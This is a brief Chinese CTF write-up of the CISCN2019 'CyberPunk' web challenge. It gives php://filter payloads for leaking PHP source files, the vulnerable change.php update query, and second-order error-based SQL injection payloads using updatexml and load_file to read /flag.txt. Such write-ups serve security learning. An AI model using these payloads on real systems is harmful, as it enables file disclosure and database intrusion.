[CISCN2019]CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

php伪协议读文件

file=php://filter/read=convert.base64-encode/resource=delete.php
file=php://filter/read=convert.base64-encode/resource=change.php

二次注入

change.php

过滤不严密的代码

 $address = addslashes($_POST["address"]);

二次注入代码段

if (isset($fetch) && $fetch->num_rows>0){
		
        $row = $fetch->fetch_assoc();                                     
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } 

update usersetaddress='".$address."', old_address='".$row['address']."' where user_id=".$row['user_id'];

$row['address']是可以注入的,只不过需要二次注入。

由于update语句是没有回显的,所以可以尝试报错注入。

payload

updatexml只能回显32个字符

第一部分

1' where user_id=updatexml(1,concat('~',(select load_file('/flag.txt'))),1) #

第二部分

1' where user_id=updatexml(1,concat('~',substr((select load_file('/flag.txt')),30,50)),1) #

image-20200801225050618

posted @ 2020-08-01 22:53  何止(h3zh1)  阅读(205)  评论(0编辑  收藏  举报